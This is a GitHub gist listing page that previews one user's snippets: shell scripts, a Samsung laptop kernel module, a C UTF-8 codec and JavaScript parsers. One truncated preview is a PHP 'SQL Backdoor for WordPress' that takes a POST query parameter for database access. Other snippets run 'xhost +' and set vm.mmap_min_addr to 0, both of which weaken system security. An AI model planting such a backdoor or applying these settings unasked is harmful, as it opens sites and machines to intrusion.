Skip to content

Instantly share code, notes, and snippets.

@iamahuman
iamahuman / imgcompare.sh
Created May 19, 2017 15:53
Remove duplicate (similar) images (by Charalamapos Arapidis <[email protected]>)
#!/bin/bash
# imgcompare.sh
#
# Simple bash script to identify similar images
# in a directory. The script uses the great imagemagick
# tool suite to identify image formats, rescale images to same
# sizes before comparing and finally performs comparison
# and calculates an RMSE pixel error value for each image pair.
#
# Charalamapos Arapidis
@iamahuman
iamahuman / fix-login.sh
Created May 19, 2017 15:50
(2015) Fix some greeter session login on X
#!/bin/sh
mv ~/.Xauthority ~/.Xauthority_old
xhost +
@iamahuman
iamahuman / linux_x86_vm86.sh
Last active November 17, 2017 18:55
(2015) Make vm86 emulation on Linux usable (may have security implications, especially since mapping at NULL VMA becomes possible)
#!/bin/sh
sysctl -w vm.mmap_min_addr=0 abi.ldt16=1
@iamahuman
iamahuman / usb_mass_storage.txt
Created May 15, 2017 17:31
Exynos USB mass storage (28 Oct 2015, may be out of date)
To Mass Storage:
setprop persist.sys.usb.config mass_storage,adb
echo '{path to shared partition; default=/dev/block/vold/179:17}' > {LUN_FILE}
To MTP:
echo '' > {LUN_FILE}
setprop persist.sys.usb.config mtp,adb
LUN_FILE: one of (preceeding preferred)
@iamahuman
iamahuman / aw.php
Created May 15, 2017 17:10
[Obsolete] SQL Backdoor for WordPress
<?php
header("Content-Type: text/html; charset=UTF-8");
$q = NULL;
if (isset($_POST["q"])) {
$q = $_POST["q"];
if (function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())
$q = stripslashes($q);
}
global $wpdb;
require_once("wp-load.php");
@iamahuman
iamahuman / esdm.c
Created May 15, 2017 17:08
[Obsolete] Easy slow down manager for Samsung laptops (patched for Linux 3.x by iamahuman)
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/pci.h>
#include <linux/delay.h>
#include <asm/uaccess.h>
#include <linux/dmi.h>
MODULE_LICENSE("GPL");
@iamahuman
iamahuman / utf8.h
Last active July 16, 2017 07:36
Lightweight strict UTF-8 encoder / decoder routine in C (U+0000 - U+D7FF, U+E000 - U+10FFFF)
#ifndef _LUKE1337_UTF8_H
#define _LUKE1337_UTF8_H
#include <inttypes.h>
#include <stddef.h>
typedef uint32_t rune_t;
typedef uint16_t utf8dst_t;
/* if set, signifies an invalid sequence */
@iamahuman
iamahuman / dep.js
Created May 6, 2017 23:31
Simple async.js-like dependent task processing
function process_reqs (reqs) {
var dependents = {}; // name -> [dependents]
var completed = {};
var pending_cnts = {};
var hasOwn = Object.prototype.hasOwnProperty;
var leaf_tasks = [];
for (var key in reqs) {
if (!hasOwn.call(reqs, key)) continue;
@iamahuman
iamahuman / C99.js
Created May 1, 2017 15:27
naive C99 parser
function abstract_declarator(t,r){var w,a,$0,$1;a=C(r);if(a.pointer<t.length&&($0=this.pointer(t,a))){if(a.pointer<t.length)$1=this.direct_abstract_declarator(t,a);r.pointer=a.pointer;return{name:N,children:[$0,$1]};}a=C(r);$0=undefined;if(a.pointer<t.length&&($1=this.direct_abstract_declarator(t,a))){r.pointer=a.pointer;return{name:N,children:[$0,$1]};}return null;}function additive_expr(t,r){var w,a,$0,$1;a=C(r);if(a.pointer<t.length&&($0=this.multiplicative_expr(t,a))){for($1=[];a.pointer<t.length&&(w=this.additive_expr_i(t,a));$1[$1.length]=w);r.pointer=a.pointer;return{name:N,children:[$0,$1]};}return null;}function additive_expr_i(t,r){var w,a,$0,$1;a=C(r);if(a.pointer<t.length&&($0=this.TERMINAL(t,a,"+"))){if(a.pointer<t.length&&($1=this.multiplicative_expr(t,a))){r.pointer=a.pointer;return{name:N,children:[$0,$1]};}}a=C(r);if(a.pointer<t.length&&($0=this.TERMINAL(t,a,"-"))){if(a.pointer<t.length&&($1=this.multiplicative_expr(t,a))){r.pointer=a.pointer;return{name:N,children:[$0,$1]};}}return null;}fun
<?php
ini_set("display_errors", 0);
$ver_outer = explode('-', PHP_VERSION);
$ver_info = explode('.', $ver_outer[0]);
$ver_major = intval($ver_info[0]);
$ver_minor = intval($ver_info[1]);
$ver_release = intval($ver_info[2]);
if ($ver_major < 7 || ($ver_major == 7 &&
($ver_minor < 0 || ($ver_minor == 0 &&